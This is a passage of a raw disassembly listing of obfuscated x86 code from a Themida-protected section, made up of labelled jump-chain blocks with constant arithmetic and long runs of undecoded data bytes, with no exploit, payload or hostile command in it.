		dd 7228E9E9h, 0E955501Bh, 0FFFEF98Ah
; ---------------------------------------------------------------------------

loc_56461C:				; CODE XREF: Themida_:0055BF7Cj
		mov	ecx, 44E50C8Dh
		add	eax, ecx
		pop	ecx
		mov	ecx, [esp]
		push	ebp
		push	esp
		jmp	loc_558B2C
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0E0F27B7h, 1E4FC781h, 0A2E9582Ch, 8BFFFF47h,	0C4812434h
		dd 4, 0FEBDD3E9h, 14875FFFh, 24248B24h,	89241489h, 4C281E2h
		dd 53000000h, 1AD2E950h, 489FFFFh, 1608E924h, 0D0280000h
		dd 805A952Ch, 56E95BC3h, 89FFFF31h, 0C5815DEEh,	12096C0Dh
		dd 0ED81F529h, 12096C0Dh, 74FF555Eh, 8F5D0424h,	0E95C2404h
		dd 0FFFF6296h, 0C281D2F7h, 1860851h, 5E2AC181h,	0D1017F19h
		dd 0FF15F6E9h, 2F2868FFh, 1C890000h, 2434FF24h,	8324048Bh
		dd 4C6804C4h, 0E9000040h, 0FFFF481Eh, 0E904C283h, 0FFFFE0FAh
; ---------------------------------------------------------------------------

loc_5646D4:				; CODE XREF: Themida_:0055B93Aj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp

loc_5646DB:				; CODE XREF: Themida_:00557D2Bj
		push	2917h
		jmp	loc_55C116
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 10h
		dd 29FFFF71h, 0B7E95AD3h, 9FFFF85h, 24148BD3h, 8104C483h
		dd 0C75907F3h, 0C3814B6Fh, 0DF66F90Ch, 0FF84CCE9h, 2ACA81FFh
		dd 4A070E44h, 3F2FE281h, 0D2F74D47h, 0C841F281h, 0D731EC18h
		dd 4FDFF75Ah, 3FF8EF81h, 0FB319D6Dh, 77C7815Fh,	13D9178h
		dd 517CE9DFh, 0BD55FFFFh, 37662032h, 0FAB0E950h, 3C89FFFFh
		dd 2474FF24h, 0F538E904h, 0E9C1FFFEh, 0FF74E907h, 0FF56FFFEh
		dd 0E9042474h, 0FFFFB696h, 0CA1C381h, 0C30108B8h, 0CA1EB81h
		dd 0ECE908B8h
		db 0D3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56477B:				; CODE XREF: Themida_:00557CC8j
		mov	cl, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		jmp	loc_56180B
; ---------------------------------------------------------------------------
		dw 487h
		dd 24248B24h, 9CC83B66h, 0FEBC83E9h, 0E08950FFh, 405h
		dd 40500h, 4870000h, 0C953E924h, 0EB83FFFEh, 4DF56804h
		dd 1C890000h, 2474FF24h, 241C8B04h, 4C481h, 48F0000h, 0A426E924h
		dd 1C89FFFFh, 56E38924h, 4BEh, 2AE900h,	0E957FFFFh, 0FFFF9614h
		dd 68243489h, 66C7h, 57241C89h,	2406ACBFh, 0E9FB8917h
		dd 0FFFFAFB8h, 1B5F17BAh, 5AD12996h, 8159CA89h,	4ECh, 0EF49E900h
		dd 0E959FFFFh, 0FFFEEB3Dh, 4005E0C1h, 506E8C1h,	0FC884EBDh
		dd 0DC9C181h, 0C129047Fh, 0DC9E981h, 48B047Fh, 1E1EE924h
		dd 1489FFFFh, 3F126824h, 0E95A0E54h, 0FFFF90DCh
; ---------------------------------------------------------------------------

loc_56484C:				; CODE XREF: Themida_:00560069j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	0
		sub	[esp], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_562DBE
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 93h
		dd 0C1FFFF3Ch, 0BF5706E3h, 7C731344h, 61D7E947h, 0D9F7FFFFh
		dd 0E9C1E1D1h, 3FE95307h, 5CFFFF5Bh, 1BF57h, 0FA010000h
		dd 1BF2815Fh, 680F8119h, 3EB3h,	68240489h, 0DB295FFAh
		dd 4F7DE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5648B6:				; CODE XREF: Themida_:00553A33j
		inc	edx
		sub	edx, 5F6267A2h
		xor	eax, edx
		pop	edx
		jmp	loc_557723
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 0FFF374E9h, 5D829FFh, 459730ACh, 1893055Bh, 0CBE9135Bh
		dd 5AFFFF49h, 5BD90159h, 0FF6878E9h, 4EC83FFh, 68243489h
		dd 3062h, 81242489h, 42404h, 348B0000h,	4C48124h, 52000000h
		dd 0F358E956h, 555BFFFFh, 4BDh,	5DEB0100h, 0FFE83AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56491D:				; CODE XREF: Themida_:00560D94j
		push	edx
		mov	edx, 6BA672ABh
		jmp	loc_5600A0
; ---------------------------------------------------------------------------
		dd 8324348Bh, 0E94704C4h, 0FFFEFEEEh, 0E904C083h, 0FFFF0534h
		dd 8675E957h, 0E954FFFFh, 0FFFF2EFBh, 43B6ED81h, 0F5812535h
		dd 9BFB8D05h, 295DEA31h, 1C8B5AD7h, 4C48124h, 87000000h
		dd 248B243Ch, 241C8924h, 8324048Bh, 0EC8304C4h,	24148904h
		dd 5C6AE957h, 0EB83FFFFh, 0EFC38101h, 0C1795C0Ch, 0C38105E3h
		dd 351B68A1h, 0AB62F381h, 0DD01AE75h, 27FBE95Bh, 0F701FFFFh
		dd 24148B5Eh, 8104C483h, 2C7h, 4970E900h, 0DDF7FFFFh, 3512F581h
		dd 0ED81035Fh, 2C0A2DF0h, 0FF861CE9h, 2474FFFFh, 24048B04h
		dd 0E904C483h, 0FFFFA054h, 5FFD295Ah, 0A02FE957h, 0AC68FFFFh
		dd 89000004h, 4BD242Ch,	1000000h, 2E64E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5649F2:				; CODE XREF: Themida_:0055E180j
		sub	esp, 4
		jmp	loc_55CB93
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C8h
		dd 6A1D68h, 243C8900h, 0DFE95F54h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564A0F:				; CODE XREF: Themida_:0056201Dj
		push	esi
		jmp	loc_5566A6
; ---------------------------------------------------------------------------

loc_564A15:				; CODE XREF: Themida_:005595D7j
		sub	bl, 16h
		mov	cl, bl
		jmp	loc_555DE6
; ---------------------------------------------------------------------------
		db 2Ch
		dd 4EC831Bh, 0B1240C89h, 80D1F6D5h, 0C82854E9h,	0B7536659h
		dd 2EC8185h, 66000000h,	83240C89h, 1C8904ECh, 0FEF7B724h
		dd 0E9DFF6CFh, 0FFFF8046h, 0ED81C529h, 67FF6107h, 3B6E0558h
		dd 0FAE95FECh, 5FFFFEECh, 4C381h, 0FF530000h, 5B042474h
		dd 0FF7A4AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564A75:				; CODE XREF: Themida_:0055E944j
		pop	edx
		sub	esp, 4
		jmp	loc_55267B
; ---------------------------------------------------------------------------
		db 66h,	31h, 0CAh
		dd 0FF82E2E9h, 24048FFFh, 4BB53h, 0B8500000h, 371A77CCh
		dd 8244429h, 0D0FAE958h, 0C483FFFFh, 8BCB0104h,	8956240Ch
		dd 4C681E6h, 83000000h,	348704C6h, 1C335C24h, 241C3124h
		dd 0FFF191E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564AC5:				; CODE XREF: Themida_:00552489j
		mov	esi, 14C0414Bh
		jmp	loc_56347A
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C2E904E7h, 89FFFF07h, 0E789243Ch, 0FF8787E9h, 0E9D001FFh
		dd 0FFFEC710h, 4633BE56h, 0DEF75388h, 53EE814Eh, 0F739F320h
		dd 0BFC7E9DEh, 45BAFFFEh, 0E90B7243h, 0FFFF2E29h, 83242489h
		dd 8B042404h, 0C481241Ch, 4, 4EC81h, 3C890000h,	21D4BF24h
		dd 0EF817D93h, 183E4001h, 8107EFC1h, 0D30A2AEFh, 0BA4BE944h
		dd 1487FFFEh, 0F3815C24h, 13935647h, 68h, 80BFE900h, 0C281FFFFh
		dd 6A69432Bh, 7896BB53h, 0DA31782Ah, 83241C8Bh,	6BE904C4h
		dd 5DFFFEE3h, 31243433h, 34332434h, 24248B24h, 7B0568h
		dd 24048900h, 0FEB89FE9h, 2434FFFFh, 0C70EE95Fh, 0C381FFFEh
		dd 18862C4Ah, 241C8758h, 4995685Ch, 1C890000h, 4BB24h
		dd 0ED810000h, 0F70789Ch, 0FEC12CE9h, 1AB866FFh, 44296648h
		dd 58660424h, 243C8B66h, 72EA68h, 1BFBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564BC6:				; CODE XREF: Themida_:00554F70j
		add	ebx, edi
		jmp	loc_55133E
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 944CE924h, 3540FFFFh, 55FC76C8h, 0FEDA5AE9h,	0EFEB81FFh
		dd 0E95F040Bh, 0FE6h, 2C28159h,	51000000h, 0C181E189h
		dd 4, 0FEC4E3E9h, 4EC83FFh, 0FED46FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564C09:				; CODE XREF: Themida_:005583BDj
		add	esi, 10263D62h
		jmp	loc_55DCEE
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2830000h, 0FF18E904h, 0EE83FFFFh, 24348704h
		dd 0FEBA13E9h, 0C08AB3FFh, 0EBC003E3h, 0FEDBF606h, 70EB80C3h
		dd 1C8BDD30h, 4C48324h,	0C8BEE28h, 5C20E924h, 3C87FFFFh
		dd 0C8205C24h, 240C8B66h, 27B868h, 24048900h, 0BD55E089h
		dd 4, 0FF937BE9h, 83E089FFh, 3C8904ECh,	62F1BF24h, 0E781252Eh
		dd 1778090Bh, 4702EFC1h, 5F781h, 39E9014Ah
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564C8F:				; CODE XREF: Themida_:00558730j
		add	esp, 4
		jmp	loc_55A13B
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 8B2434FFh,	0C483241Ch, 4C48104h, 68000000h
		dd 2EE4h, 0E9243C89h, 0FFFF37D7h, 0E94D7DBBh, 25CB814Bh
		dd 0E973871Bh, 0FFFFFCB2h
; ---------------------------------------------------------------------------

loc_564CCC:				; CODE XREF: Themida_:00558716j
		add	esp, 4
		xor	ecx, edx
		jmp	loc_56414F
; ---------------------------------------------------------------------------
		dw 0EAC0h
		dd 6EAC004h, 80ABC280h,	0D08843F2h, 0F6D0F65Ah,	0E9262CD0h
		dd 0FFFEF8EEh
; ---------------------------------------------------------------------------

loc_564CF0:				; CODE XREF: Themida_:0055B790j
		mov	[eax], ebp
		jmp	loc_5554F4
; ---------------------------------------------------------------------------
		db 5Dh
		dd 814FD7F7h, 56E165F7h, 5FFD018Ah, 8324148Bh, 0FF5504C4h
		dd 8B042474h, 0C483242Ch, 24048F04h, 0E924248Bh, 0FFFFA1CDh
		dd 7C301D68h, 0E035584Ah, 8919FB47h, 0EA8158C2h, 19E05EF3h
		dd 534FE981h, 0C1815C01h, 558F0CB6h, 5352D101h,	0FFB7ECE9h
		dd 0B85057FFh, 5F153DA5h, 72E4B12Dh, 5133E91Ch,	0EC83FFFFh
		dd 4653E904h, 487FFFFh,	0F6815E24h, 9319A016h, 34FFF101h
		dd 0B9DAE924h, 23B9FFFFh, 0E932B251h, 0FFFF0862h, 0E95EF229h
		dd 0FFFF2AC1h, 8B2434FFh, 0C4812414h, 4, 1EABE955h, 0C181FFFFh
		dd 1E405A77h, 7CD4E981h, 1C8B1931h, 4C48124h, 1000000h
		dd 0FF5259CAh, 0E9042474h, 0FFFEB76Dh, 815B5453h, 4C3h
		dd 0E3895300h, 4C381h, 0EB810000h, 4, 0FFD7E0E9h, 95C581FFh
		dd 8130CA60h, 387249EDh, 5DEF01C0h, 5D7CF781h, 72E95639h
		dd 83FFFFB6h, 0C8704C1h, 0D5E95C24h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564DFF:				; CODE XREF: Themida_:00561DF4j
		mov	ebp, 533145DEh
		push	20B5h
		mov	[esp], ecx
		jmp	loc_55E52C
; ---------------------------------------------------------------------------

loc_564E11:				; CODE XREF: Themida_:00554598j
		push	edx
		mov	dh, 0C7h
		dec	dh
		jmp	loc_552BFE
; ---------------------------------------------------------------------------
		db 33h
		dd 0F4E9243Ch, 0F7FFFF37h, 5B8B0DD0h, 16E938E4h, 0BFFFFF3Eh
		dd 10E85B0Ah, 0E85B0EBDh, 0E9FD3110h, 0FFFF645Ch, 54241489h
		dd 5A2434FFh, 56E28952h, 0A0206BEh, 72E68177h, 0F7040772h
		dd 6C681DEh, 1040202h, 0F232E9F2h, 0ED81FFFEh, 3F6F1570h
		dd 5ECAC581h, 0E801A017h, 69CC055Dh, 0D5E90587h, 5CFFFF2Dh
		dd 68243489h, 7011h, 0E9242C89h, 0FFFF9C16h, 0E92434FFh
		dd 0FFFF080Dh, 54242C89h, 53242C8Bh, 0FFF375E9h, 4C483FFh
		dd 31240C33h, 0EE9240Ch, 1FFFF90h, 0C1835DE9h, 240C3304h
		dd 33240C31h, 4EE9240Ch, 0B0FFFF25h, 17C38018h,	0B151C300h
		dd 8E9C03Ch, 2817F180h,	8B6659CBh, 15E92404h, 0BFFFFF31h
		dd 2, 4AC3ED81h, 0C5816873h, 653B6BF1h,	0FEF05AE9h, 405FFh
		dd 48E90000h, 0F7FFFFDBh, 0CDC781DFh, 312FF8E6h, 50E9FBh
		dd 248B0000h, 590A8824h, 0FEB503E9h, 2C6268FFh,	4890000h
		dd 0A1E95424h, 81FFFFEBh, 4C6h,	74FF5600h, 8F5E0424h, 8B5C2404h
		dd 9E92434h, 89FFFF1Dh,	4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 240C895Ch, 9B68h, 2B72E900h,	895FFFFFh, 0C6815BDFh
		dd 782032C6h, 26E9FE01h
		db 16h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564F73:				; CODE XREF: Themida_:0055E26Fj
		pop	esi
		jmp	loc_5512B8
; ---------------------------------------------------------------------------
		db 87h,	0CDh, 81h
		dd 9230DBE5h, 0F9C58174h, 1BFFFEFh, 0A5E95DEBh,	0BEFFFF47h
		dd 6FF42091h, 0B24F681h, 0F6811DD5h, 6D312E19h,	14E9DEF7h
		dd 1FFFF06h, 14335BDAh,	24143124h, 0FED282E9h, 59CF29FFh
		dd 2474FF57h, 0DD39E904h, 2C87FFFEh, 2685C24h, 89000015h
		dd 21E9240Ch, 41FFFEDCh, 922AC181h, 0ED81FEEDh,	58D108A8h
		dd 5A08C581h, 0CD014F0Ch, 5A08ED81h, 0C5814F0Ch, 58D108A8h
		dd 81240C8Bh, 4C4h, 696E900h, 0DDF7FFFFh, 5705E5C1h, 0FF2C7EE9h
		dd 48B66FFh, 5D166824h,	4890000h, 5E08924h, 4, 3304E883h
		dd 4312404h, 24043324h,	9793E95Ch, 0BE56FFFFh, 0FBF1CA6h
		dd 0FF83FCE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5579C3
; ---------------------------------------------------------------------------
		db 50h,	52h, 0E9h
		dd 0FFFF2171h, 5B66DE28h, 305AF388h, 241C8BDDh,	0FF6333E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565081:				; CODE XREF: Themida_:005512BCj
		pop	eax
		pop	ebp
		add	eax, 6CD319C6h
		add	eax, 78F94D5Fh
		jmp	loc_55A807
; ---------------------------------------------------------------------------
		dw 158h
		dd 240C8BC8h, 4EC81h, 34890000h, 4EC8124h, 89000000h, 9BE92424h
		dd 31FFFF90h, 14332414h, 24248B24h, 34FFF021h, 0C4815E24h
		dd 4, 3118E8C1h, 4EC83C8h, 83240489h, 0C8904ECh, 2474FF24h
		dd 240C8B04h, 8904EC83h, 65E9243Ch, 80FFFFC5h, 0D32819C3h
		dd 0FE36B652h, 32CE80CEh, 0FEB82EE9h, 546866FFh, 1C89662Ch
		dd 0CB39E924h, 0BB53FFFFh, 4, 1C8BDF01h, 0E51CE924h, 0E95CFFFEh
		dd 0FFFF199Ah
; ---------------------------------------------------------------------------

loc_56511C:				; CODE XREF: Themida_:00556A5Bj
		push	dword ptr [esp]
		jmp	loc_55C661
; ---------------------------------------------------------------------------
		dd 0E95AD328h, 0FFFEBEB3h
; ---------------------------------------------------------------------------

loc_56512C:				; CODE XREF: Themida_:0055117Ej
		mov	ecx, 0F9F2575h
		xor	ecx, 330F190Dh
		not	ecx
		add	ecx, 6CAD62DBh
		jmp	loc_560302
; ---------------------------------------------------------------------------
		dd 0BE243489h, 4, 34FFF201h, 24348B24h,	8304C483h, 0FF5204C4h
		dd 5A042474h, 0E924048Fh, 0FFFF484Dh, 4DE9E389h, 0BBFFFF2Ch
		dd 4D2959B0h, 5106E3C1h, 0FF54E2E9h, 2CD828FFh,	2EC83E4h
		dd 241C8966h, 0C8B25266h, 8B66D388h, 54562414h,	0FFB63EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565199:				; CODE XREF: Themida_:005630BEj
		mov	esi, eax
		jmp	loc_55D45A
; ---------------------------------------------------------------------------
		dd 0D53002B2h, 0EB805A66h, 80EB0034h, 515934C3h, 0E1C09BB1h
		dd 80E18003h, 0FE06E9C0h, 80C1FEC9h, 0EB80D7E9h, 81CB00EDh
		dd 4ECh, 24148900h, 0FEF349E9h,	24148BFFh, 4C481h, 68590000h
		dd 1A22h, 0E9242C89h, 0FFFF2FFEh, 81E78957h, 4C7h, 4C78300h
		dd 5C243C87h, 0E91C77FFh, 0FFFED885h
; ---------------------------------------------------------------------------

loc_565204:				; CODE XREF: Themida_:0055387Aj
		mov	edi, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55E965
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEB204h, 4C481h, 0EE810000h, 61BB6BD9h, 0D0E9DEF7h
		dd 56FFFFB8h, 0FEFC5CE9h, 0E98B2CFFh, 32Ah, 0EE015F59h
		dd 0FFD6F8E9h, 1C181FFh, 49000000h, 0FF03B8E9h,	240487FFh
		dd 241C895Ch, 0BA52E389h, 71A77992h, 0BB9C281h,	76E915BCh
		dd 5BFFFF42h, 0C8BCE31h, 4C48324h, 0FF3AA4E9h, 4C481FFh
		dd 68000000h, 1C96h, 0BA241489h, 4, 47B95152h, 0C1228447h
		dd 0D1F708E9h, 6710E981h, 0CA89B385h, 0FF3F21E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5652A5:				; CODE XREF: Themida_:005546EFj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	4654h
		mov	[esp], ecx
		push	ebp
		push	16354023h
		pop	ebp
		xor	ebp, 16354021h
		jmp	loc_55F6C5
; ---------------------------------------------------------------------------

loc_5652C9:				; CODE XREF: Themida_:005636CFj
		mov	[esp], eax
		mov	eax, 451317D4h
		sub	eax, 3FEB556Dh
		not	eax
		shr	eax, 3
		sub	eax, 0FCA3C14Ah
		dec	eax
		shr	eax, 4
		jmp	loc_5558A3
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 81000000h, 862C4AEBh, 0E9C30118h, 0FFFFF88Eh, 8324348Bh
		dd 895704C4h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 0FF7DD4E9h
		dd 7822B9FFh, 26E9778Ch, 81FFFF95h, 0BF5DEAE2h,	0DF03E91Dh
		dd 5066FFFFh, 0B0EAE99Ch, 34FFFFFEh, 0B1CBE924h, 0DDE9FFFFh
		dd 81FFFEB0h, 0E863B2EBh, 531DE905h, 0DA88FFFFh, 3A2E9h
		dd 81D6F700h, 0CE1A72F6h, 0CA07E948h, 0BF57FFFEh, 50617495h
		dd 4708EFC1h, 0FBDCEF81h, 0FB01B31Bh, 0FFF808E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565379:				; CODE XREF: Themida_:00556993j
		xor	ebx, edx
		pop	edx
		xor	ebx, 9FEE868Ch
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 0D064AB9h
		mov	esi, 0D064ABDh
		sub	esi, eax
		pop	eax
		jmp	loc_55A42D
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 24041958h, 0B06AE99Ch, 0F581FFFEh, 5DBB6CBBh
		dd 2C8BEF89h, 4C48324h,	0F5E9F801h, 68FFFEFFh, 5E6Eh, 0BF243C89h
		dd 0FB373EBh, 0D3F7DF87h, 0E781DF87h, 0B7324F5h, 0BB535652h
		dd 369F291Ch, 0D8574DBEh, 0DB12E9ACh, 0D001FFFFh, 0FFBF59E9h
		dd 0AEB753FFh, 88FD8851h, 0E95B59EAh, 0FFFEF013h
; ---------------------------------------------------------------------------

loc_56540C:				; CODE XREF: Themida_:005636A9j
		pop	esp
		jmp	loc_563943
; ---------------------------------------------------------------------------
		dw 159h
		dd 83E95DE8h, 83FFFED9h, 525504C4h, 930D8DBAh, 0D43BD4Ch
		dd 0D501CE5Ch, 7DB055Ah, 0E1E95A07h, 8FFFF4Eh, 805B66DAh
		dd 6866A2E2h, 89667C30h, 6AB5240Ch, 8B66EA00h, 0C481240Ch
		dd 2, 515AD000h, 0FF0B60E9h, 0CEB151FFh, 6608E9C0h, 0FE08B050h
		dd 0E9C0FEC0h, 0FFFEC379h, 0EA79E958h, 1DB8FFFFh, 0BB37D73Eh
		dd 674587F4h, 0F758C329h, 0ADCB81D3h, 0F70FE820h, 0EB8143D3h
		dd 1, 6808E3C1h, 5BDBh,	0FFEFC0E9h, 4B9FFh, 0D9E90000h
		dd 1FFFF1Ah, 87DAE9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5654B2:				; CODE XREF: Themida_:00560304j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, 3F4140E0h
		sub	edi, eax
		pop	eax
		sub	edi, 0CAA9502h
		jmp	loc_5520F4
; ---------------------------------------------------------------------------
		dd 815AD321h, 0AF2050C3h, 5BDF89D0h, 15FF831h, 24048BC7h
		dd 4C481h, 3C330000h, 243C3124h, 8B243C33h, 0EC812424h
		dd 4, 89243489h, 4C681E6h, 0E9000000h, 0FFFFEF23h
; ---------------------------------------------------------------------------

loc_565510:				; CODE XREF: Themida_:0055DD9Aj
		push	dword ptr [esp]
		jmp	loc_55848D
; ---------------------------------------------------------------------------
		dd 24048F59h, 0FF3142E9h, 59CE08FFh, 5585450h, 4, 5004E883h
		dd 0FFF490E9h, 15C580FFh, 7DE9EF30h
		db 0DFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56553F:				; CODE XREF: Themida_:00565AD0j
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, 23635436h
		add	ecx, ebx
		sub	ecx, 23635436h
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55D9A2
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 0F8E98B04h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56556F:				; CODE XREF: Themida_:00557F20j
		sub	eax, 4C247E1h
		jmp	loc_56200A
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 1000000h, 0B2FEE9F7h, 0D2F7FFFEh, 8105EAC1h,	0DB31F6EAh
		dd 0E9D501FDh, 0FFFFD922h, 3C8BFA29h, 4C48124h,	0E9000000h
		dd 0FFFF0844h
; ---------------------------------------------------------------------------

loc_5655A8:				; CODE XREF: Themida_:0055B963j
		pop	edi
		jmp	loc_556998
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 0E9000000h, 0FFFF0E3Fh, 0E9D82158h, 0FFFF2669h
		dd 0E92434FFh, 0FFFF3223h, 1FCD68h, 24148900h, 146E68h
		dd 24048900h, 51736B8h,	7E0C11Dh, 0B4E9E0D1h, 89FFFF7Eh
		dd 0FDE9243Ch, 51FFFEEFh, 0B25267B1h, 61EA80CFh, 0FF19C0E9h
		dd 0EF015EFFh, 0E289525Dh, 4C281h, 91E90000h, 5AFFFF09h
		dd 0D6F7DEF7h, 425CBF57h, 0C783579Fh, 190CE9FFh, 0B850FFFFh
		dd 24006D38h, 8158C701h, 0EC6245C3h, 51FB0164h,	0FF0D11E9h
		dd 24348BFFh, 4C481h, 5E90000h,	0FFFFFF2Dh, 669D1C77h
		dd 241CD359h, 0ADC6E99Ch, 2C89FFFEh, 4BD24h, 6C010000h
		dd 0FF5D0424h, 0AE92434h, 68FFFFD2h, 0D59234Fh,	0E6ABE959h
		dd 2C89FFFFh, 5BE46824h, 5CE90000h, 89FFFFC0h, 5FFB89D7h
		dd 8BD9015Ah, 0E9241Ch,	81FFFFC1h, 7363E8E2h, 0EFEA810Ah
		dd 1A744C8h, 348B5AD3h,	548E6824h, 3C890000h, 0DE95424h
		dd 0BBFFFFC7h, 1, 425BDA29h, 8304EAC1h,	2C8904ECh, 0BE565124h
		dd 56670AE0h, 1601BF57h, 6BE9502Eh, 89FFFF66h, 93E92404h
		dd 0FFFFFFC7h, 59042474h, 8B24048Fh, 3CD32424h,	29E99C24h
		dd 5BFFFEADh, 9FC280h, 0C8005AD1h, 57240C8Bh, 0C781E789h
		dd 4, 0FF3BE5E9h, 76F168FFh, 24890000h,	4EC8324h, 0FF82A8E9h
		dd 23C181FFh, 15E5E3Ch,	0A418E9E9h, 0F029FFFFh,	0AC7A572Dh
		dd 3C8B5E46h, 9FBCE924h, 0C89FFFFh, 99EB924h, 0BA526A27h
		dd 4D744047h, 815AD121h, 8FBC18E9h, 8BCA09E4h, 0C483240Ch
		dd 31C23104h, 83C231D0h, 8192FFC0h, 0D3369AC2h,	8BD50127h
		dd 0C4812414h, 4, 34B9BE56h, 7401308Ah,	82E90824h, 51FFFEBBh
		dd 0FF2554E9h, 0DBB252FFh, 203CF280h, 0D9F65AD1h, 0E980C9FEh
		dd 59CB2816h, 0E939EB80h, 0FFFED809h, 4C381h, 0EB810000h
		dd 4, 31241C33h, 1C33241Ch, 14895C24h, 2C6824h,	148B0000h
		dd 4C48324h, 81E28952h,	4C2h, 4EA8100h,	87000000h, 895C2414h
		dd 3AB9240Ch, 29779D70h, 0EA8159CAh, 1DA55E51h,	0C281FA01h
		dd 1DA55E51h, 703AC281h, 0B951779Dh, 0
		dd 0BA52D101h, 0
		dd 203CA01h, 240C8B5Ah,	81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 5A2434FFh, 0FFC117E9h, 83EB81FFh, 52764D20h,	185C4ABAh
		dd 43C28121h, 0C16B895Eh, 0EA8107E2h, 0E8983BB2h, 0FEDF8AE9h
		dd 243C89FFh, 0EA02EEBFh, 5FF80106h, 24043359h,	33240431h
		dd 0E7E92404h, 29FFFF77h, 172F05F8h, 3C8B7189h,	4C48124h
		dd 81000000h, 8C6DAEC3h, 6BBD5540h, 0C109001Dh,	0D5F703E5h
		dd 3AAAF581h, 0F5811A7Ah, 0CACC3909h, 0FED705E9h, 541968FFh
		dd 1C890000h, 0C38E924h, 0C328FFFFh, 5095C380h,	0AEE984B4h
		dd 1FFFF5Fh, 2434FFFEh,	4C4835Fh, 0FFDF47E9h, 2C581FFh
		dd 55000000h, 42474FFh,	24048F5Dh, 0C594E95Ch, 0E95DFFFEh
		dd 0FFFF2E3Fh
; ---------------------------------------------------------------------------

loc_5658DC:				; CODE XREF: Themida_:00560D77j
		mov	[esp], ebp
		push	4067C5Ch
		mov	ebp, [esp]
		push	7E45h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55B9D9
; ---------------------------------------------------------------------------
		dw 22Ch
		dd 0F000AF2Ch, 0FF7417E9h, 1C5F09FFh, 8570E95Bh, 5259FFFFh
		dd 0C281E289h, 4, 4EA81h, 0E9520000h, 0FFFF80B6h, 8124048Bh
		dd 4C4h, 9720E900h, 8359FFFFh, 0EA8304C4h, 24148704h, 2434895Ch
		dd 42474FFh, 0FF1C71E9h, 242C8BFFh, 4C481h, 1C330000h
		dd 241C3124h, 0FF9C05E9h, 0D6E781FFh, 8141FC64h, 0DC6488F7h
		dd 8BFA3141h, 0C481243Ch, 4, 815AD689h,	0B17284C5h, 81F50145h
		dd 0B17284EDh, 0D129E945h, 248BFFFEh, 24042124h, 0AA8EE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_565992:				; CODE XREF: Themida_:00556AB1j
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_5525DB
; ---------------------------------------------------------------------------
		dd 0D788EA88h, 0FF8FFDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5659A9:				; CODE XREF: Themida_:00551213j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55B81D
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 87000000h, 91E92434h, 52FFFFC8h, 0C281E289h,	4, 4B850h
		dd 0C2010000h, 8124048Bh, 4C4h,	74FF5200h, 8F5A0424h, 36E92404h
		dd 28FFFF32h, 0D7EE80EEh, 8B97C680h, 0C481240Ch, 4, 0E95AF588h
		dd 0FFFF7786h, 0D2F7D2F7h, 1EE6F281h, 0D00968DDh, 3B05485Ah
		dd 406B8246h, 9075FF2Dh, 58C229D0h, 0FED695E9h,	0D4ED81FFh
